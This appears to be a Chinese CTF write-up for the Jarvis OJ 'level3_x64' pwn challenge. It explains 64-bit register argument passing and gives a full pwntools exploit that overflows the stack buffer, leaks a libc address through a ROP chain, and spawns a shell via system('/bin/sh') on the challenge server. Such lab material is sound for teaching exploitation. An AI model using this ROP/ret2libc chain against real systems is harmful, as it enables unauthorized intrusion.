[Jarvis OJ - PWN]——[XMAN]level3_x64
[Jarvis OJ - PWN]——[XMAN]level3_x64
- 题目地址:https://www.jarvisoj.com/challenges
- 题目:
老样子,还是先checksec一下,再看看IDA,除了64位以外和[XMAN]level3一样
64位和32位的主要区别就是参数方面,64位当参数小于等于六的时候,是放在寄存器中,没有放在栈上。分别是rdi rsi rdx rcx r8 r9寄存器。所以我们需要找一些pop指令来将参数写入寄存器。
虽然没有找到pop rdx指令,但是这个指令所对应的参数。是限制输出长度的只要大于8就可以。我们先不管,假设它大于8。不行的话,一会儿再回来调整。
exploit
from pwn import *
from LibcSearcher import *
p=remote("pwn2.jarvisoj.com",9883)
elf=ELF("./level3_x64")
main_addr=0x040061A
pop_rdi = 0x04006b3
pop_rsi = 0x04006b1
write_plt=elf.plt["write"]
write_got=elf.got["write"]
read_plt=elf.plt["read"]payload = 'a'*(0x80 + 0x8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(write_got) + p64(8)
payload += p64(write_plt) + p64(main_addr)p.sendlineafter("Input:\n",payload)write_addr = u64(p.recv(8)) log.success("write_addr: "+hex(write_addr))
libc = LibcSearcher('write',write_addr)libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')payload = 'a'*(0x80 + 0x8) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)p.sendlineafter("Input:\n",payload)
p.interactive()
[Jarvis OJ - PWN]——[XMAN]level3_x64相关推荐
- [Jarvis OJ - PWN]——[XMAN]level4
[Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...
- [Jarvis OJ - PWN]——[XMAN]level3
[Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...
- [Jarvis OJ - PWN]——[XMAN]level2(x64)
[Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...
- [Jarvis OJ - PWN]——[XMAN]level0
[Jarvis OJ - PWN]--[XMAN]level0 题目地址:https://www.jarvisoj.com/challenges 题目: checksec看看,64位,开启了NX保护 ...
- [Jarvis OJ - PWN]——[XMAN]level1
[Jarvis OJ - PWN]--[XMAN]level1 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,什么保护都没有开.32 ...
- [Jarvis OJ - PWN]——[XMAN]level2
[Jarvis OJ - PWN]--[XMAN]level2 题目地址:https://www.jarvisoj.com/challenges 题目: 首先,checksec一下.32位并且没有开启 ...
- [Jarvis OJ - PWN]——Typo(内涵peak小知识)
[Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...
- [Jarvis OJ - PWN]——Backdoor
[Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...
- [Jarvis OJ - PWN]——[61dctf]fm
[Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...
最新文章
- python小课骗局-Python小课怎么样啊?
- 2019年十二周总结
- android 的listview 3大优化策略
- 中央财经大学计算机专业排名,中央财经大学怎么样 2021年全国排名多少
- @codeforces - 1096G@ Lucky Tickets
- 机床使用教学_2020沧州cnc培训20年教学经验颁发职业
- 在Windows Vista中使用符号链接
- Unity 利用Coroutine实现跳动数字效果
- C++之对象的动态建立和释放
- 多图长文 | 聊聊C端转型B端产品那些事
- linux内核那些事之delay延迟技术
- 【es】ES RestHighLevelClient 请求报错:Connection reset by peer
- 实习成长之路:MySQL四:深入浅出索引
- 数据结构 第四章 串
- [入门向]标准测试用例模板
- 160个破解练习之CrackMe 006
- ubuntu开机自启vnc虚拟显示器并使用向日葵远程连接
- 屏蔽 已阅读59% 前往新浪新闻查看全文
- 色彩特征提取-色彩属性HSV空间
- atomic 内存序_C++11的原子量与内存序浅析
热门文章
- MS-SQL中的事务
- SqlConnetction类
- 用Unity3D实现简单的井字棋小游戏
- [Python从零到壹] 十二.机器学习之回归分析万字总结全网首发(线性回归、多项式回归、逻辑回归)
- 【数据结构与算法】之深入解析“路径总和”的求解思路与算法示例
- Swift之SwiftUI自定义star rating评分组件
- 数据库开发——MySQL——简单介绍和安装
- Java中集合(三)Stack
- 解决安装ROS 时rosdep update 问题(time out)
- rm -rf ~/.bashrc 的惨痛教训